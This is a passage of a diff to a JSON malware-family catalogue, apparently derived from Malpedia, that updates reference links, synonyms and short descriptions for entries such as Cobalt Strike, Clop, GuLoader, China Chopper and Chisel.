"https://blog.qualys.com/vulnerabilities-threat-research/2022/01/17/the-chaos-ransomware-can-be-ravaging", + "https://twitter.com/vinopaljiri/status/1519645742440329216", "https://marcoramilli.com/2021/06/14/the-allegedly-ryuk-ransomware-builder-ryukjoke/", - "https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html" + "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-sides-with-russia", + "https://www.trendmicro.com/en_us/research/21/h/chaos-ransomware-a-dangerous-proof-of-concept.html", + "https://www.fortinet.com/blog/threat-research/chaos-ransomware-variant-in-fake-minecraft-alt-list-brings-destruction", + "https://www.bleepingcomputer.com/news/security/roblox-game-pass-store-used-to-sell-ransomware-decryptor/", + "https://brianstadnicki.github.io/posts/malware-chaos-ransomware-v4/" ], "synonyms": [ "FakeRyuk", @@ -12654,18 +15159,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper", + "https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers", "https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers", "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", + "https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html", "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://www.youtube.com/watch?v=rn-6t7OygGk", "https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers", "https://www.secureworks.com/research/threat-profiles/bronze-express", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", "https://unit42.paloaltonetworks.com/china-chopper-webshell/", "https://www.crowdstrike.com/blog/an-end-to-smash-and-grab-more-targeted-approaches/", "https://unit42.paloaltonetworks.com/microsoft-exchange-server-attack-timeline/", "https://www.secureworks.com/research/threat-profiles/bronze-president", "https://blog.rapid7.com/2021/03/03/rapid7s-insightidr-enables-detection-and-response-to-microsoft-exchange-0-day", + "https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/", "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "https://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html", "https://twitter.com/ESETresearch/status/1366862946488451088", @@ -12677,7 +15186,7 @@ "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/multi-factor-authentication-new-attacks", "https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://www.picussecurity.com/resource/blog/ttps-hafnium-microsoft-exchange-servers", + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Backdoor%2Bvia%2BXFF%2BMysterious%2BThreat%2BActor%2BUnder%2BRadar.pdf", "https://www.huntress.com/hubfs/Mass%20Exploitation%20of%20Microsoft%20Exchange%20(2).pdf", "https://techcommunity.microsoft.com/t5/azure-sentinel/web-shell-threat-hunting-with-azure-sentinel/ba-p/2234968", "https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits", @@ -12698,8 +15207,9 @@ "https://www.praetorian.com/blog/reproducing-proxylogon-exploit/", "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf", "https://www.trendmicro.com/en_us/research/21/a/targeted-attack-using-chopper-aspx-web-shell-exposed-via-managed.html", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection", "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "https://www.imperva.com/blog/imperva-observes-hive-of-activity-following-hafnium-microsoft-exchange-disclosures/", @@ -12707,7 +15217,7 @@ "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", - "https://unit42.paloaltonetworks.com/remediation-steps-for-the-Microsoft-Exchange-Server-vulnerabilities/", + "https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_9_yanagishita-tamada-nakatsuru-ishimaru_en.pdf", "https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers", "https://www.fireeye.com/blog/threat-research/2019/08/game-over-detecting-and-stopping-an-apt41-operation.html", "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-259a", @@ -12747,6 +15257,19 @@ "uuid": "ef216f1d-9ee5-4676-ae34-f954a8611290", "value": "ChinaJm" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.chinotto", + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fda4561c-56a9-479b-8db5-7f6774be9a3d", + "value": "Chinotto (Windows)" + }, { "description": "", "meta": { @@ -12755,6 +15278,7 @@ "https://medium.com/@Sebdraven/how-to-unpack-chinoxy-backdoor-and-decipher-the-configuration-of-the-backdoor-4ffd98ca2a02", "https://nao-sec.org/2021/01/royal-road-redive.html", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf", "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf", "https://community.riskiq.com/article/56fa1b2f", "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", @@ -12779,6 +15303,47 @@ "uuid": "59b5697a-5154-4c08-87f8-c71b0e8425fc", "value": "Chir" }, + { + "description": "Chisel is an open-source project by Jaime Pillora (jpillora) that allows tunneling TCP and UDP connections via HTTP. It is available across platforms and written in Go. While benign in itself, Chisel has been utilized by multiple threat actors. It was for example observed by SentinelOne during a PYSA ransomware campaign to achieve persistence and used as backdoor.\r\nGithub: https://github.com/jpillora/chisel", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.chisel", + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fbfbbcbc-6730-4c4d-9ece-9b72802d42e9", + "value": "Chisel (Windows)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.chiser_client", + "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "637714e1-c46d-4c10-bbc5-604c6e47fbbb", + "value": "ChiserClient" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.choziosi", + "https://redcanary.com/blog/chromeloader/" + ], + "synonyms": [ + "ChromeLoader" + ], + "type": [] + }, + "uuid": "7cfa3158-ccfc-4c23-8e7a-5d4e9cc1c43f", + "value": "Choziosi (Windows)" + }, { "description": "", "meta": { @@ -12903,8 +15468,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.clipbanker", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", "https://www.cynet.com/attack-techniques-hands-on/threat-research-report-clipbanker-13-second-attack/", + "https://asec.ahnlab.com/en/35981/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/covid-19-phishing-lure-to-steal-and-mine-cryptocurrency/", "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/" ], "synonyms": [], @@ -12929,9 +15497,10 @@ "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shifruvalnika-ta-nanesenni-inozemnim-kompaniyam-piv-milyarda-dolariv-zbitkiv/", "https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824", "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", "https://www.splunk.com/en_us/blog/security/clop-ransomware-detection-threat-research-release-april-2021.html", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", "https://www.bleepingcomputer.com/news/security/ta505-hackers-behind-maastricht-university-ransomware-attack/", "https://github.com/albertzsigovits/malware-notes/blob/master/Clop.md", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", @@ -12945,22 +15514,25 @@ "https://www.bleepingcomputer.com/news/security/ransomware-gang-says-they-stole-2-million-credit-cards-from-e-land/", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://www.bleepingcomputer.com/news/security/ransomware-gang-urges-victims-customers-to-demand-a-ransom-payment/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-clop", "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Clop.md", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", "https://www.notion.so/S2W-LAB-Analysis-of-Clop-Ransomware-suspiciously-related-to-the-Recent-Incident-English-088056baf01242409a6e9f844f0c5f2e", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", "https://www.zdnet.com/article/croatias-largest-petrol-station-chain-impacted-by-cyber-attack/", "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.youtube.com/watch?v=PqGaZgepNTE", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", "https://www.secureworks.com/research/threat-profiles/gold-tahoe", "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", "https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672", "https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546", "https://www.carbonblack.com/blog/cb-tau-threat-intelligence-notification-cryptomix-clop-ransomware-disables-startup-repair-removes-edits-shadow-volume-copies/", + "https://www.youtube.com/watch?v=PqGaZgepNTE", "https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/", "https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do", "https://asec.ahnlab.com/wp-content/uploads/2021/01/Analysis_ReportCLOP_Ransomware.pdf", @@ -12981,6 +15553,7 @@ "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", "https://www.boho.or.kr/filedownload.do?attach_file_seq=2808&attach_file_id=EpF2808.pdf", "https://www.bleepingcomputer.com/news/security/cryptomix-clop-ransomware-says-its-targeting-networks-not-computers/", + "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", "https://unit42.paloaltonetworks.com/clop-ransomware/" ], "synonyms": [], @@ -13007,29 +15580,34 @@ "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", "https://kienmanowar.wordpress.com/2020/06/27/quick-analysis-note-about-guloader-or-cloudeye/", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", "https://twitter.com/VK_Intel/status/1255537954304524288", "https://twitter.com/TheEnergyStory/status/1239110192060608513", "https://twitter.com/VK_Intel/status/1252678206852907011", + "https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/", "https://www.proofpoint.com/us/blog/threat-insight/hakbit-ransomware-campaign-against-germany-austria-switzerland", - "https://cert.pl/en/posts/2021/04/keeping-an-eye-on-guloader-reverse-engineering-the-loader/", + "https://twitter.com/TheEnergyStory/status/1240608893610459138", "https://twitter.com/sysopfb/status/1258809373159305216", "https://research.checkpoint.com/2020/guloader-cloudeye/", "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", "https://www.joesecurity.org/blog/3535317197858305930", "https://www.proofpoint.com/us/threat-insight/post/guloader-popular-new-vb6-downloader-abuses-cloud-services", "https://twitter.com/VK_Intel/status/1257206565146370050", - "https://www.youtube.com/watch?v=-FxyzuRv6Wg", + "https://experience.mandiant.com/trending-evil-2/p/1", "https://blog.morphisec.com/guloader-the-rat-downloader", "https://research.checkpoint.com/2020/threat-actors-migrating-to-the-cloud/", - "https://twitter.com/TheEnergyStory/status/1240608893610459138", + "https://cert.pl/en/posts/2021/04/keeping-an-eye-on-guloader-reverse-engineering-the-loader/", + "https://www.youtube.com/watch?v=-FxyzuRv6Wg", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4", "https://www.youtube.com/watch?v=K3Yxu_9OUxU", "https://www.crowdstrike.com/blog/guloader-malware-analysis/", + "https://forensicitguy.github.io/guloader-executing-shellcode-callbacks/", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/playing-with-guloader-anti-vm-techniques-malware/", "https://malwation.com/malware-config-extraction-diaries-1-guloader/", "https://www.youtube.com/watch?v=N0wAh26wShE", "https://clickallthethings.wordpress.com/2021/03/06/oleobject1-bin-ole10native-shellcode/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", "https://labs.k7computing.com/?p=20156", "https://labs.k7computing.com/?p=21725Lokesh" ], @@ -13098,26 +15676,54 @@ "uuid": "7acd9a27-f550-4c47-9fc8-429b61b04217", "value": "CoalaBot" }, + { + "description": "This Go written malware was observed during campaign of COBALT MIRAGE; it includes FRP (Fast Reverse Proxy) published by fatedier on GitHub (https://github.com/fatedier/frp) and other projects additionally. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobaltmirage_tunnel", + "https://www.secureworks.com/blog/cobalt-mirage-conducts-ransomware-operations-in-us" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a9bebdbf-24b3-40e0-9596-2adf60c3abf8", + "value": "CobaltMirage FRP" + }, { "description": "Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.\r\n\r\nThe Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike", - "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://www.prevailion.com/what-wicked-webs-we-unweave/", + "https://cybersecurity.att.com/blogs/security-essentials/stories-from-the-soc-powershell-proxyshell-conti-ttps-oh-my", "https://decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/", + "https://blogs.blackberry.com/en/2022/01/log4u-shell4me", + "https://blog.nviso.eu/2021/11/03/cobalt-strike-using-process-memory-to-decrypt-traffic-part-3/", "https://www.zscaler.com/blogs/research/targeted-attack-leverages-india-china-border-dispute-lure-victims", + "https://www.bleepingcomputer.com/news/security/fake-antivirus-updates-used-to-deploy-cobalt-strike-in-ukraine/", + "https://ak100117.medium.com/analyzing-cobalt-strike-powershell-payload-64d55ed3521b", "https://github.com/Sentinel-One/CobaltStrikeParser/blob/master/parse_beacon_config.py", "https://blog.talosintelligence.com/2020/06/indigodrop-maldocs-cobalt-strike.html", "https://www.secureworks.com/research/threat-profiles/bronze-president", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://www.advanced-intel.com/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", + "https://explore.group-ib.com/htct/hi-tech_crime_2018", "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", - "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/", + "https://www.malware-traffic-analysis.net/2021/09/29/index.html", + "https://socfortress.medium.com/detecting-cobalt-strike-beacons-3f8c9fdcb654", "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", - "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/", + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/bb-ebook-finding-beacons-in-the-dark.pdf", + "https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encoding-decoding/", "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", + "https://blog.morphisec.com/vmware-identity-manager-attack-backdoor", "https://github.com/sophos-cybersecurity/solarwinds-threathunt", "https://www.huntress.com/blog/cobalt-strike-analysis-of-obfuscated-malware", "https://twitter.com/AltShiftPrtScn/status/1385103712918642688", @@ -13125,118 +15731,182 @@ "https://sergiusechel.medium.com/improving-the-network-based-detection-of-cobalt-strike-c2-servers-in-the-wild-while-reducing-the-6964205f6468", "https://www.microsoft.com/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/", "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://quake.360.cn/quake/#/reportDetail?id=5fc6fedd191038c3b25c4950", + "https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/", "https://svch0st.medium.com/stats-from-hunting-cobalt-strike-beacons-c17e56255f9b", "https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/", "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html", "https://www.guidepointsecurity.com/blog/a-ransomware-near-miss-proxyshell-a-rat-and-cobalt-strike/", "https://blueteamblog.com/darkside-ransomware-operations-preventions-and-detections", + "https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment", "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "https://unit42.paloaltonetworks.com/hancitor-infections-cobalt-strike/", "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/", - "https://www.secureworks.com/blog/hades-ransomware-operators-use-distinctive-tactics-and-infrastructure", - "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://medium.com/walmartglobaltech/cobaltstrike-uuid-stager-ca7e82f7bb64", + "https://morphuslabs.com/attackers-are-abusing-msbuild-to-evade-defenses-and-implant-cobalt-strike-beacons-edac4ab84f42", "https://securityscorecard.com/blog/securityscorecard-finds-usaid-hack-much-larger-than-initially-thought", "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", + "https://www.ironnet.com/blog/ransomware-graphic-blog", "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://www.cybereason.com/blog/threat-analysis-report-from-shatak-emails-to-the-conti-ransomware", + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + "https://cyber.wtf/2022/03/23/what-the-packer/", "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", "https://blog.fox-it.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/", "https://www.blackarrow.net/leveraging-microsoft-teams-to-persist-and-cover-up-cobalt-strike-traffic/", "https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/", "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", - "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", + "https://redcanary.com/wp-content/uploads/2022/05/Gootloader.pdf", + "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", "https://blog.talosintelligence.com/2021/05/ctir-case-study.html", "https://therecord.media/mongolian-certificate-authority-hacked-eight-times-compromised-with-malware/", + "https://github.com/infinitumitlabs/Karakurt-Hacking-Team-CTI", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://twitter.com/th3_protoCOL/status/1433414685299142660?s=20", "https://inteloperator.medium.com/the-default-63-6f-62-61-6c-74-strike-8ac9ee0de1b7", "https://www.ic3.gov/Media/News/2021/210823.pdf", - "https://twitter.com/th3_protoCOL/status/1433414685299142660?s=20", + "https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html", "https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", "https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/", "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-one", + "https://twitter.com/cglyer/status/1480742363991580674", + "https://www.accenture.com/us-en/blogs/cyber-defense/karakurt-threat-mitigation", + "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/growling-bears-make-thunderous-noise.html", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", + "https://cert.gov.ua/article/37704", "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/", "https://securelist.com/apt-luminousmoth/103332/", "https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/", "https://www.sekoia.io/en/an-insider-insights-into-conti-operations-part-two/", "https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike", - "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", + "https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike", + "https://blog.nviso.eu/2022/03/22/cobalt-strike-overview-part-7/", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/542/original/CTIR_casestudy_2.pdf", + "https://thedfirreport.com/2021/06/28/hancitor-continues-to-push-cobalt-strike/", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", "https://www.secureworks.com/research/threat-profiles/gold-dupont", "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", "https://www.qurium.org/alerts/targeted-malware-against-crph/", "https://pylos.co/2018/11/18/cozybear-in-from-the-cold/", "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/", + "https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/", "https://www.mdsec.co.uk/2021/07/investigating-a-suspicious-service/", + "https://www.huntress.com/blog/cybersecurity-advisory-vmware-horizon-servers-actively-being-hit-with-cobalt-strike", "https://www.ncsc.gov.ie/pdfs/HSE_Conti_140521_UPDATE.pdf", - "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures", + "https://www.youtube.com/watch?v=ysN-MqyIN7M", + "https://www.contextis.com/en/blog/dll-search-order-hijacking", + "https://www.scmagazine.com/brief/breach/novel-obfuscation-leveraged-by-hive-ransomware", "https://twitter.com/MBThreatIntel/status/1412518446013812737", "https://www.trendmicro.com/en_us/research/21/d/hello-ransomware-uses-updated-china-chopper-web-shell-sharepoint-vulnerability.html", "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", "https://www.cynet.com/understanding-squirrelwaffle/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang", + "https://isc.sans.edu/diary/rss/27176", "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://forensicitguy.github.io/inspecting-powershell-cobalt-strike-beacon/", "https://blog.fox-it.com/2019/02/26/identifying-cobalt-strike-team-servers-in-the-wild/", + "https://kienmanowar.wordpress.com/2022/06/04/quicknote-cobaltstrike-smb-beacon-analysis-2/", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/", "https://twitter.com/vikas891/status/1385306823662587905", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", "https://malwarebookreports.com/cryptone-cobalt-strike/", - "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-011/", + "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", "https://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/", + 